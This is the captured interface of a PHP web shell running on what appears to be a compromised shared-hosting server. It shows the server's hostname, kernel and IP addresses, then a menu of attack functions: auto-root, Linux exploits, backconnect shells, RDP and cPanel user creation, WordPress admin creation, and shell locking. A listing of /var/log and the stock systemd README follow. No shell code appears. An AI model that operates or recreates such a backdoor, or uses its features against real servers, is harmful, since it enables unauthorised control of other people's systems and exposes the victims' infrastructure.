Linux server.hostify.co.in 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
Apache
: 162.214.74.213 | : 216.73.217.79
438 Domain
8.2.31
orangegroceries
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
log /
[ HOME SHELL ]
Name
Size
Permission
Action
anaconda
[ DIR ]
drwxr-xr-x
apache2
[ DIR ]
drwx--x--x
audit
[ DIR ]
drwx------
chrony
[ DIR ]
drwxr-x---
cpanel-server-traffic
[ DIR ]
drwx------
dcpumon
[ DIR ]
drwx------
imunify360
[ DIR ]
drwx------
imunify360_user_logs
[ DIR ]
drwxrwxrwt
named
[ DIR ]
drwxr-xr-x
private
[ DIR ]
drwx------
qemu-ga
[ DIR ]
drwxr-xr-x
rkhunter
[ DIR ]
drwxr-xr-x
sa
[ DIR ]
drwxr-xr-x
samba
[ DIR ]
drwx------
sssd
[ DIR ]
drwxr-x---
sw-cp-server
[ DIR ]
drwxr-x---
tuned
[ DIR ]
drwxr-xr-x
README
1.02
KB
-rw-r--r--
btmp
131.49
MB
-rw-rw----
btmp-20260501
150.17
MB
-rw-rw----
chkservd.log
90.8
MB
-rw-------
cloud-init-output.log
16.42
KB
-rw-r-----
cloud-init.log
305.88
KB
-rw-r-----
comet_backup_jobs_helper.log
0
B
-rw-r--r--
cron
1.98
MB
-rw-------
cron-20260419
17.77
MB
-rw-------
cron-20260426
17.8
MB
-rw-------
cron-20260503
12.75
MB
-rw-------
cron-20260510
37.25
KB
-rw-------
dmesg
1
MB
-rw-r--r--
dnf.librepo.log
217.55
KB
-rw-r--r--
dnf.librepo.log.1
1023.94
KB
-rw-r--r--
dnf.librepo.log.2
1023.88
KB
-rw-r--r--
dnf.librepo.log.3
1023.93
KB
-rw-r--r--
dnf.librepo.log.4
1023.95
KB
-rw-r--r--
dnf.log
620.98
KB
-rw-r--r--
dnf.log.1
1023.9
KB
-rw-r--r--
dnf.log.2
1023.96
KB
-rw-r--r--
dnf.log.3
1023.94
KB
-rw-r--r--
dnf.log.4
1023.96
KB
-rw-r--r--
dnf.rpm.log
899.72
KB
-rw-r--r--
dpkg.log
0
B
-rw-r--r--
exim_mainlog
26.38
MB
-rw-r-----
exim_mainlog-20260419.gz
9.27
MB
-rw-r-----
exim_mainlog-20260426.gz
48.76
MB
-rw-r-----
exim_mainlog-20260503.gz
5.4
MB
-rw-r-----
exim_mainlog-20260510.gz
6.45
MB
-rw-r-----
exim_paniclog
119
B
-rw-r-----
exim_paniclog-20260419.gz
127
B
-rw-r-----
exim_paniclog-20260426.gz
102
B
-rw-r-----
exim_paniclog-20260503.gz
20
B
-rw-r-----
exim_paniclog-20260510.gz
238
B
-rw-r-----
exim_rejectlog
3.15
MB
-rw-r-----
exim_rejectlog-20260419.gz
1.08
MB
-rw-r-----
exim_rejectlog-20260426.gz
8.26
MB
-rw-r-----
exim_rejectlog-20260503.gz
806.56
KB
-rw-r-----
exim_rejectlog-20260510.gz
878.04
KB
-rw-r-----
hawkey.log
15.23
KB
-rw-r--r--
hawkey.log-20260419
29.65
KB
-rw-r--r--
hawkey.log-20260426
30.53
KB
-rw-r--r--
hawkey.log-20260503
31.82
KB
-rw-r--r--
hawkey.log-20260510
30.53
KB
-rw-r--r--
imunify-agent-proxy.log
353.17
KB
-rw-r--r--
lastlog
302.55
KB
-rw-rw-r--
lfd.log
0
B
-rw-------
lfd.log-20260510.gz
20
B
-rw-------
maillog
10.79
MB
-rw-------
maillog-20260419
29.5
MB
-rw-------
maillog-20260426
20.99
MB
-rw-------
maillog-20260503
12.7
MB
-rw-------
maillog-20260510
11.17
MB
-rw-------
messages
1.15
MB
-rw-------
messages-20260419
3.48
MB
-rw-------
messages-20260426
7.03
MB
-rw-------
messages-20260503
14.24
MB
-rw-------
messages-20260510
2.4
MB
-rw-------
mysql.log
0
B
-rw-r-----
mysqld.log
396.18
MB
-rw-r-----
secure
36.58
MB
-rw-------
secure-20260419
39.76
MB
-rw-------
secure-20260426
56.36
MB
-rw-------
secure-20260503
63.11
MB
-rw-------
secure-20260510
51.99
MB
-rw-------
spooler
0
B
-rw-------
spooler-20260419
0
B
-rw-------
spooler-20260426
0
B
-rw-------
spooler-20260503
0
B
-rw-------
spooler-20260510
0
B
-rw-------
tallylog
0
B
-rw-------
wtmp
86.25
KB
-rw-rw-r--
xferlog.offsetftpsep
1
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : README
You are looking for the traditional text log files in /var/log, and they are gone? Here's an explanation on what's going on: You are running a systemd-based OS where traditional syslog has been replaced with the Journal. The journal stores the same (and more) information as classic syslog. To make use of the journal and access the collected log data simply invoke "journalctl", which will output the logs in the identical text-based format the syslog files in /var/log used to be. For further details, please refer to journalctl(1). Alternatively, consider installing one of the traditional syslog implementations available for your distribution, which will generate the classic log files for you. Syslog implementations such as syslog-ng or rsyslog may be installed side-by-side with the journal and will continue to function the way they always did. Thank you! Further reading: man:journalctl(1) man:systemd-journald.service(8) man:journald.conf(5) http://0pointer.de/blog/projects/the-journal.html
Close